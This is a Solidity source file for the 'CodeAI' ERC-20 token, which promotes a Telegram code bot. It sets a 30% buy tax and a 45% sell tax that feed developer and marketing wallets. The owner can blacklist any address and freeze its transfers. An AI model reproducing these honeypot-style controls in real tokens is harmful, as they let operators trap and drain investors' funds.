creation_sourcecode: // SPDX-License-Identifier: MIT      
  /*
  Code AI is a telegram bot that generates any code required 
  by providing the most efficient tech all while keeping things user-friendly
  
  WEBSITE: https://www.codeai.bot/ 
  TELEGRAM: https://t.me/codaieth 
  BOT: https://t.me/codeAI0x_bot 
  TWITTER: https://twitter.com/codaieth 
  DOCS: https://t.me/codaieth 
  */
  pragma solidity 0.8.20;
  abstract contract Context {
      function _msgSender() internal view virtual returns (address) {
          return msg.sender;
      }
  }
  interface IERC20 {
      function totalSupply() external view returns (uint256);
      function balanceOf(address account) external view returns (uint256);
      function transfer(address recipient, uint256 amount) external returns (bool);
      function allowance(address owner, address spender) external view returns (uint256);
      function approve(address spender, uint256 amount) external returns (bool);
      function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
      event Transfer(address indexed from, address indexed to, uint256 value);
      event Approval(address indexed owner, address indexed spender, uint256 value);
  }
  contract Ownable is Context {
      address private _owner;
      event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
  
      constructor () {
          address msgSender = _msgSender();
          _owner = msgSender;
          emit OwnershipTransferred(address(0), msgSender);
      }
      function owner() public view returns (address) {
          return _owner;
      }
      modifier onlyOwner() {
          require(_owner == _msgSender(), "Ownable: caller is not the owner");
          _;
      }
      function transferOwnership(address newOwner) public virtual onlyOwner() {
          require(newOwner != address(0), "Ownable: new owner is the zero address");
          _transferOwnership(newOwner);
      }
      function _transferOwnership(address newOwner) internal virtual {
          address oldOwner = _owner;
          _owner = newOwner;
          emit OwnershipTransferred(oldOwner, newOwner);
      }
      function renounceOwnership() public virtual onlyOwner {
          emit OwnershipTransferred(_owner, address(0));
          _owner = address(0);
      }
  
  }
  interface IUniswapV2Factory {
      function createPair(address tokenA, address tokenB) external returns (address pair);
  }
  interface IUniswapV2Router02 {
      function swapExactTokensForETHSupportingFeeOnTransferTokens(
          uint amountIn,
          uint amountOutMin,
          address[] calldata path,
          address to,
          uint deadline
      ) external;
      function factory() external pure returns (address);
      function WETH() external pure returns (address);
      function addLiquidityETH(
          address token,
          uint amountTokenDesired,
          uint amountTokenMin,
          uint amountETHMin,
          address to,
          uint deadline
      ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
  }
  
  contract CodeAI is Context, IERC20, Ownable {
      mapping (address => uint256) private _balances;
      mapping (address => mapping (address => uint256)) private _allowances;
      mapping (address => bool) private isBlacklisted;
      mapping (address => bool) private _isExcludedFromFee;
      address public constant deadWallet = 0x000000000000000000000000000000000000dEaD;
      address payable private MarketingWallet;
      address payable private DevWallet;
      uint8 private constant _decimals = 9;
      uint256 private constant _tTotal =  100000000 * 10**_decimals; 
      string private constant _name = "CodeAI";
      string private constant _symbol = "CODAI";
      uint256 private SwapTokens = 100000 * 10**_decimals; 
      uint256 private maxSwapTokens = 1500000 * 10**_decimals;
      uint256 public maxTxAmount = 1500000 * 10**_decimals; 
      uint256 private buyTaxes = 30;
      uint256 private sellTaxes = 45;
      uint256 private _Buys_In = 0;
     
      IUniswapV2Router02 public uniswapV2Router;
      address private uniswapV2Pair;
      bool public tradeEnable = false;
      bool private _SwapBackEnable = false;
      bool private inSwap = false;
      
      
      event FeesRecieverUpdated(address indexed _newWallet);
      event ExcludeFromFeeUpdated(address indexed account);
      event includeFromFeeUpdated(address indexed account);
      event SwapThreshouldUpdated(uint256 indexed minToken, uint256 indexed maxToken);
      event SwapBackSettingUpdated(bool indexed state);
      event ERC20TokensRecovered(uint256 indexed _amount);
      event TradingOpenUpdated();
      event ETHBalanceRecovered();
      
      modifier lockTheSwap {
          inSwap = true;
          _;
          inSwap = false;
      }
      constructor () {
      if (block.chainid == 56){
       uniswapV2Router = IUniswapV2Router02(0x10ED43C718714eb63d5aA57B78B54704E256024E); // PCS BSC Mainnet Router
       }
      else if(block.chainid == 1 || block.chainid == 5){
            uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // Uniswap ETH Mainnet Router
        }
      else if(block.chainid == 42161){
             uniswapV2Router = IUniswapV2Router02(0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506); // Sushi Arbitrum Mainnet Router
        }
      else  if (block.chainid == 97){
       uniswapV2Router = IUniswapV2Router02(0xD99D1c33F9fC3444f8101754aBC46c52416550D1); // PCS BSC Testnet Router
       }
      else {
           revert("Wrong Chain Id");
          }
      uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
           MarketingWallet = payable(0x207746cC2E397724c534adD8bd5174af736cebFC);
           DevWallet = payable (0x6734E82123D210B8b8B52b1eC9bbA082E3F94395);
          _balances[_msgSender()] = _tTotal;
          _isExcludedFromFee[_msgSender()] = true;
          _isExcludedFromFee[address(this)] = true;
          _isExcludedFromFee[MarketingWallet] = true;
          _isExcludedFromFee[DevWallet] = true;
          _isExcludedFromFee[deadWallet] = true;
  
         emit Transfer(address(0), _msgSender(), _tTotal);
      }
      function name() public pure returns (string memory) {
          return _name;
      }
      function symbol() public pure returns (string memory) {
          return _symbol;
      }
      function decimals() public pure returns (uint8) {
          return _decimals;
      }
      function totalSupply() public pure override returns (uint256) {
          return _tTotal;
      }
      function balanceOf(address account) public view override returns (uint256) {
          return _balances[account];
      }
      function min(uint256 a, uint256 b) private pure returns (uint256) {
          return (a > b) ? b : a;
      }
      function transfer(address recipient, uint256 amount) public override returns (bool) {
          _transfer(_msgSender(), recipient, amount);
          return true;
      }
      function allowance(address owner, address spender) public view override returns (uint256) {
          return _allowances[owner][spender];
      }
      function approve(address spender, uint256 amount) public override returns (bool) {
          _approve(_msgSender(), spender, amount);
          return true;
      }
      function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
          uint256 currentAllowance = _allowances[sender][_msgSender()];
          require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
          _transfer(sender, recipient, amount);
          _approve(sender, _msgSender(), currentAllowance - amount);
          return true;
      }
      function _approve(address owner, address spender, uint256 amount) private {
          require(owner != address(0), "ERC20: approve from the zero address");
          require(spender != address(0), "ERC20: approve to the zero address");
          _allowances[owner][spender] = amount;
          emit Approval(owner, spender, amount);
      }
      function _transfer(address from, address to, uint256 amount) private {
          require(from != address(0), "ERC20: transfer from the zero address");
          require(to != address(0), "ERC20: transfer to the zero address");
          require(amount > 0, "Transfer amount must be greater than zero");
          require(!isBlacklisted[from] && !isBlacklisted[to],"You can't transfer tokens");
          uint256 TaxSwap=0;
  
          if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
              require(tradeEnable, "Trading not enabled");       
                 TaxSwap = amount * (buyTaxes) / (100);
          }
          
           if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
              TaxSwap = 0;
          } 
           
            if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
               require(amount <= maxTxAmount, "Exceeds the _maxTxAmount.");
               require(balanceOf(to) + amount <= maxTxAmount, "Exceeds the maxWalletSize.");
                _Buys_In++;
            } 
          
            if (from != uniswapV2Pair && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
               require(amount <= maxTxAmount, "Exceeds the _maxTxAmount.");
            }
          
            if (to == uniswapV2Pair && from != address(this) && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
                     TaxSwap = amount * (sellTaxes) / (100);
                  
                  } 
         
               uint256 contractTokenBalance = balanceOf(address(this));
              if (!inSwap && from != uniswapV2Pair && _SwapBackEnable && contractTokenBalance > SwapTokens && _Buys_In > 1) {
                  swapTokensForEth(min(amount, min(contractTokenBalance, maxSwapTokens)));
                 uint256 contractETHBalance = address(this).balance;
                  if(contractETHBalance > 0) {
                      sendETHToFee(address(this).balance);
                  }
              }
          _balances[from] = _balances[from] - amount; 
          _balances[to] = _balances[to] + (amount - (TaxSwap));
          emit Transfer(from, to, amount - (TaxSwap));
           if(TaxSwap > 0){
            _balances[address(this)] = _balances[address(this)] + (TaxSwap);
            emit Transfer(from, address(this),TaxSwap);
          }
      }
     
      function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
          require(tokenAmount > 0, "amount must be greeter than 0");
          address[] memory path = new address[](2);
          path[0] = address(this);
          path[1] = uniswapV2Router.WETH();
          _approve(address(this), address(uniswapV2Router), tokenAmount);
          uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
              tokenAmount,
              0,
              path,
              address(this),
              block.timestamp
          );
      }
     
      function sendETHToFee(uint256 amount) private {
         require(amount > 0, "amount must be greeter than 0");
          uint256 DevFeeAmount;
          if (balanceOf(address(this)) >= maxSwapTokens) {
              DevFeeAmount = amount * (1) / (2);
          } else {DevFeeAmount = amount * (1) / (2);
          }
          DevWallet.transfer(DevFeeAmount);
          MarketingWallet.transfer(amount - (DevFeeAmount));
      }
    
     function removeMaxTxLimit() external onlyOwner {
         maxTxAmount = _tTotal;
         }
    
     function changeFee(uint256 _buyFee, uint256 _sellFee) external onlyOwner {
          require(_buyFee <= 40 && _sellFee <= 40, "revert wrong fee settings");
          buyTaxes = _buyFee;
          sellTaxes = _sellFee;
       }
     
      function excludeFromFee(address account) external onlyOwner {
        require(_isExcludedFromFee[account] != true,"Account is already excluded");
         _isExcludedFromFee[account] = true;
      emit ExcludeFromFeeUpdated(account);
     }
     
      function includeFromFee(address account) external onlyOwner {
           require(_isExcludedFromFee[account] != false, "Account is already included");
          _isExcludedFromFee[account] = false;
       emit includeFromFeeUpdated(account);
      }
      
      function manualSwap() external onlyOwner() {
          uint256 tokenBalance = balanceOf(address(this));
          if(tokenBalance > 0) {
              swapTokensForEth(tokenBalance);
          }
          uint256 ethBalance = address(this).balance;
          if(ethBalance > 0) {
              sendETHToFee(ethBalance);
          }
      }
     
      function setBlacklist(address _address, bool _status) external onlyOwner {
          isBlacklisted[_address] = _status;
      }
      
      function setTrading() external onlyOwner() {
          require(!tradeEnable,"trading is already open");
          _SwapBackEnable = true;
           tradeEnable = true;
         emit TradingOpenUpdated();
      }
      
      receive() external payable {}
     
      function recoverERC20FromContract(address _tokenAddy, uint256 _amount) external onlyOwner {
          require(_tokenAddy != address(this), "Owner can't claim contract's balance of its own tokens");
          require(_amount > 0, "Amount should be greater than zero");
          require(_amount <= IERC20(_tokenAddy).balanceOf(address(this)), "Insufficient Amount");
          IERC20(_tokenAddy).transfer(MarketingWallet, _amount);
        emit ERC20TokensRecovered(_amount); 
      }
     
      function recoverETHfromContract() external {
          uint256 contractETHBalance = address(this).balance;
          require(contractETHBalance > 0, "Amount should be greater than zero");
          require(contractETHBalance <= address(this).balance, "Insufficient Amount");
          payable(address(MarketingWallet)).transfer(contractETHBalance);
        emit ETHBalanceRecovered();
      }
  }